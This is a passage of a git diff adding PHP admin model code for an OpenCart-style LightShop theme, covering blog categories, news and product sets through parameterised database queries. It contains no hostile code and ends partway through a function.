+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category_id . "', `path_id` = '" . (int)$category_id . "', level = '" . (int)$level . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_filter WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_filter'])) {
+ foreach ($data['category_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_filter SET category_id = '" . (int)$category_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_to_store WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['lightshopcatblog_store'])) {
+ foreach ($data['lightshopcatblog_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_to_store SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_to_layout WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_to_layout SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'lightshopcatblog_id=" . (int)$category_id . "'");
+
+ // SEO URL
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'lightshopcatblog_id=" . (int)$category_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('category');
+ }
+
+ public function deleteCategoryBlog($category_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_path WHERE category_id = '" . (int)$category_id . "'");
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_path WHERE path_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $this->deleteCategory($result['category_id']);
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_description WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_filter WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_to_store WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_to_layout WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'lightshopcatblog_id=" . (int)$category_id . "'");
+
+ $this->cache->delete('category');
+ }
+
+ public function repairCategoriesBlog($parent_id = 0) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog WHERE parent_id = '" . (int)$parent_id . "'");
+
+ foreach ($query->rows as $category) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$category['category_id'] . "'");
+
+ // Fix for records with no paths
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$parent_id . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category['category_id'] . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category['category_id'] . "', `path_id` = '" . (int)$category['category_id'] . "', level = '" . (int)$level . "'");
+
+ $this->repairCategories($category['category_id']);
+ }
+ }
+
+ public function getCategorySeoUrls($category_id) {
+ $category_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'lightshopcatblog_id=" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $category_seo_url_data;
+ }
+
+ public function getCategoryBlog($category_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT GROUP_CONCAT(cd1.name ORDER BY level SEPARATOR ' > ') FROM " . DB_PREFIX . "lightshopcat_blog_path cp LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd1 ON (cp.path_id = cd1.category_id AND cp.category_id != cp.path_id) WHERE cp.category_id = c.category_id AND cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' GROUP BY cp.category_id) AS path FROM " . DB_PREFIX . "lightshopcat_blog c LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd2 ON (c.category_id = cd2.category_id) WHERE c.category_id = '" . (int)$category_id . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getCategoriesBlogByParentId($parent_id = 0) {
+ $query = $this->db->query("SELECT *, (SELECT COUNT(parent_id) FROM " . DB_PREFIX . "lightshopcat_blog WHERE parent_id = c.category_id) AS children FROM " . DB_PREFIX . "lightshopcat_blog c LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd ON (c.category_id = cd.category_id) WHERE c.parent_id = '" . (int)$parent_id . "' AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY c.sort_order, cd.name");
+
+ return $query->rows;
+ }
+
+ public function getCategoriesBlog($data = array()) {
+ $sql = "SELECT cp.category_id AS category_id, GROUP_CONCAT(cd1.name ORDER BY cp.level SEPARATOR ' > ') AS name, c1.parent_id, c1.sort_order, c1.status,(select count(product_id) as product_count from " . DB_PREFIX . "product_to_category pc where pc.category_id = c1.category_id) as product_count FROM " . DB_PREFIX . "lightshopcat_blog_path cp LEFT JOIN " . DB_PREFIX . "lightshopcat_blog c1 ON (cp.category_id = c1.category_id) LEFT JOIN " . DB_PREFIX . "lightshopcat_blog c2 ON (cp.path_id = c2.category_id) LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd1 ON (cp.path_id = cd1.category_id) LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd2 ON (cp.category_id = cd2.category_id) WHERE cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cd2.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sql .= " GROUP BY cp.category_id";
+
+ $sort_data = array(
+ 'product_count',
+ 'name',
+ 'sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCategoryBlogDescriptions($category_id) {
+ $category_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_description WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'description' => $result['description']
+ );
+ }
+
+ return $category_description_data;
+ }
+
+ public function getCategoryBlogPath($category_id) {
+ $query = $this->db->query("SELECT category_id, path_id, level FROM " . DB_PREFIX . "lightshopcat_blog_path WHERE category_id = '" . (int)$category_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getCategoryBlogFilters($category_id) {
+ $category_filter_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_filter WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_filter_data[] = $result['filter_id'];
+ }
+
+ return $category_filter_data;
+ }
+
+ public function getCategoryBlogStores($category_id) {
+ $category_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_to_store WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_store_data[] = $result['store_id'];
+ }
+
+ return $category_store_data;
+ }
+
+ public function getCategoryBlogLayouts($category_id) {
+ $category_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_to_layout WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $category_layout_data;
+ }
+
+ public function getTotalCategoriesBlog() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshopcat_blog");
+
+ return $query->row['total'];
+ }
+
+ public function getAllCategoriesBlog() {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog c LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd ON (c.category_id = cd.category_id) LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_to_store c2s ON (c.category_id = c2s.category_id) WHERE cd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND c2s.store_id = '" . (int)$this->config->get('config_store_id') . "' ORDER BY c.parent_id, c.sort_order, cd.name");
+
+ $category_data = array();
+ foreach ($query->rows as $row) {
+ $category_data[$row['parent_id']][$row['category_id']] = $row;
+ }
+
+ return $category_data;
+ }
+
+ public function getTotalCategoriesBlogByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshopcat_blog_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/theme/lightshopnews.php b/public/admin/model/extension/theme/lightshopnews.php
new file mode 100644
index 0000000..193eed2
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopnews.php
@@ -0,0 +1,298 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshop_news SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+ }else{
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+ }
+ $news_id = $this->db->getLastId();
+
+ foreach ($data['news_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_description SET news_id = '" . (int)$news_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['news_store'])) {
+ foreach ($data['news_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_to_store SET news_id = '" . (int)$news_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_related SET news_id = '" . (int)$news_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['news_layout'])) {
+ foreach ($data['news_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_to_layout SET news_id = '" . (int)$news_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['news_seo_url'])) {
+ foreach ($data['news_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'news_id=" . (int)$news_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('news');
+
+ return $news_id;
+ }
+
+ public function editNews($news_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_news SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "' WHERE news_id = '" . (int)$news_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_description WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($data['news_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_description SET news_id = '" . (int)$news_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_to_store WHERE news_id = '" . (int)$news_id . "'");
+
+ if (isset($data['news_store'])) {
+ foreach ($data['news_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_to_store SET news_id = '" . (int)$news_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE news_id = '" . (int)$news_id . "'");
+
+ if (isset($data['news_layout'])) {
+ foreach ($data['news_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_to_layout SET news_id = '" . (int)$news_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "'");
+
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_related SET news_id = '" . (int)$news_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'news_id=" . (int)$news_id . "'");
+
+ if (isset($data['news_seo_url'])) {
+ foreach ($data['news_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (trim($keyword)) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'news_id=" . (int)$news_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('news');
+ }
+
+ public function deleteNews($news_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_description WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_to_store WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'news_id=" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE related_id = '" . (int)$news_id . "'");
+
+ $this->cache->delete('news');
+ }
+
+ public function getNews($news_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT keyword FROM " . DB_PREFIX . "seo_url WHERE query = 'news_id=" . (int)$news_id . "' LIMIT 1) AS keyword FROM " . DB_PREFIX . "lightshop_news WHERE news_id = '" . (int)$news_id . "'");
+
+ return $query->row;
+ }
+
+ public function getNewsSeoUrls($news_id) {
+ $news_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'news_id=" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $news_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $news_seo_url_data;
+ }
+
+ public function getNewss($data = array()) {
+
+ $this->createTable();
+
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_news i LEFT JOIN " . DB_PREFIX . "lightshop_news_description id ON (i.news_id = id.news_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'id.title',
+ 'i.sort_order',
+ 'i.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY i.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $news_data = $this->cache->get('news.' . (int)$this->config->get('config_language_id'));
+
+ if (!$news_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news i LEFT JOIN " . DB_PREFIX . "lightshop_news_description id ON (i.news_id = id.news_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY id.title");
+
+ $news_data = $query->rows;
+
+ $this->cache->set('news.' . (int)$this->config->get('config_language_id'), $news_data);
+ }
+
+ return $news_data;
+ }
+ }
+
+ public function getNewsDescriptions($news_id) {
+ $news_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_description WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $news_description_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword']
+ );
+ }
+
+ return $news_description_data;
+ }
+
+ public function getNewsStores($news_id) {
+ $news_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_to_store WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $news_store_data[] = $result['store_id'];
+ }
+
+ return $news_store_data;
+ }
+
+ public function getNewsLayouts($news_id) {
+ $news_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $news_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $news_layout_data;
+ }
+
+ public function getTotalNewss() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_news");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalNewssByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getProductRelated($news_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function createTable() {
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news (
+ `news_id` int(11) NOT NULL AUTO_INCREMENT,
+ `bottom` int(1) NOT NULL DEFAULT '0',
+ `sort_order` int(3) NOT NULL DEFAULT '0',
+ `status` tinyint(1) NOT NULL DEFAULT '1',
+ `date_added` date NOT NULL,
+ PRIMARY KEY (`news_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_description (
+ `news_id` int(11) NOT NULL,
+ `language_id` int(11) NOT NULL,
+ `title` varchar(200) NOT NULL,
+ `description` text NOT NULL,
+ `meta_title` varchar(255) NOT NULL,
+ `meta_h1` varchar(255) NOT NULL,
+ `meta_description` varchar(255) NOT NULL,
+ `meta_keyword` varchar(255) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_to_layout (
+ `news_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ `layout_id` int(11) NOT NULL,
+ PRIMARY KEY (`news_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_to_store (
+ `news_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ PRIMARY KEY (`news_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_related (
+ `news_id` int(11) NOT NULL,
+ `related_id` int(11) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ }
+
+}
diff --git a/public/admin/model/extension/theme/lightshopsets.php b/public/admin/model/extension/theme/lightshopsets.php
new file mode 100644
index 0000000..da502d5
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopsets.php
@@ -0,0 +1,277 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshop_set SET sort_order = 0, mode = '" . (isset($data['mode']) ? (int)$data['mode'] : 0) . "', discount = '" . (isset($data['discount']) ? (int)$data['discount'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+
+ $set_id = $this->db->getLastId();
+
+ foreach ($data['set_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_set_description SET set_id = '" . (int)$set_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "'");
+ }
+
+ if (isset($data['set_store'])) {
+ foreach ($data['set_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_set_to_store SET set_id = '" . (int)$set_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['product'])) {
+ foreach ($data['product'] as $key => $rowProducts) {
+ if(!isset($rowProducts['items'])){ continue; }
+ foreach ($rowProducts['items'] as $product) {
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_product_to_set SET set_id = '" . (int)$set_id . "', row_id = '" . (int)$key . "', product_id = '" . (int)$product['id'] . "', quantity = '" . (int)$rowProducts['qty'] . "', sort_order = " . (int)$rowProducts['sort_order'] . "");
+ }
+ }
+
+ }
+
+
+ $this->cache->delete('set');
+
+ return $set_id;
+ }
+
+ public function editSet($set_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_set SET mode = '" . (isset($data['mode']) ? (int)$data['mode'] : 0) . "', discount = '" . (isset($data['discount']) ? (int)$data['discount'] : 0) . "', status = '" . (int)$data['status'] . "' WHERE set_id = '" . (int)$set_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_description WHERE set_id = '" . (int)$set_id . "'");
+
+ foreach ($data['set_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_set_description SET set_id = '" . (int)$set_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_to_store WHERE set_id = '" . (int)$set_id . "'");
+
+ if (isset($data['set_store'])) {
+ foreach ($data['set_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_set_to_store SET set_id = '" . (int)$set_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_product_to_set WHERE set_id = '" . (int)$set_id . "'");
+
+
+ if (isset($data['product'])) {
+ foreach ($data['product'] as $key => $rowProducts) {
+ if(!isset($rowProducts['items'])){ continue; }
+ foreach ($rowProducts['items'] as $product) {
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_product_to_set SET set_id = '" . (int)$set_id . "', row_id = '" . (int)$key . "', product_id = '" . (int)$product['id'] . "', quantity = '" . (int)$rowProducts['qty'] . "', sort_order = " . (int)$rowProducts['sort_order'] . "");
+ }
+ }
+
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'set_id=" . (int)$set_id . "'");
+
+
+ $this->cache->delete('set');
+ }
+
+ public function deleteSet($set_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set WHERE set_id = '" . (int)$set_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_description WHERE set_id = '" . (int)$set_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_to_store WHERE set_id = '" . (int)$set_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_to_layout WHERE set_id = '" . (int)$set_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_product_to_set WHERE set_id = '" . (int)$set_id . "'");
+
+ $this->cache->delete('set');
+ }
+
+ public function getSet($set_id) {
+
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_set i LEFT JOIN " . DB_PREFIX . "lightshop_set_description id ON (i.set_id = id.set_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' AND i.set_id = '" . (int)$set_id . "'";
+
+ $query = $this->db->query($sql);
+
+ return $query->row;
+
+ }
+
+ public function getSetProduct($set_id) {
+ $products = array();
+
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_product_to_set WHERE set_id = '" . (int)$set_id . "' ORDER BY row_id,set_product_id ASC";
+
+ $query = $this->db->query($sql);
+
+ foreach ($query->rows as $key => $product) {
+ $products[$product['row_id']][] = array(
+ 'id' => $product['product_id'],
+ 'qty' => $product['quantity'],
+ 'sort_order' => $product['sort_order']
+ );
+ }
+
+ return $products;
+
+ }
+
+ public function getSets($data = array()) {
+
+ $this->createTable();
+
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_set i LEFT JOIN " . DB_PREFIX . "lightshop_set_description id ON (i.set_id = id.set_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'id.title',
+ 'i.sort_order',
+ 'i.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY i.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $set_data = $this->cache->get('lightshopset.' . (int)$this->config->get('config_language_id'));
+
+ if (!$set_data) {
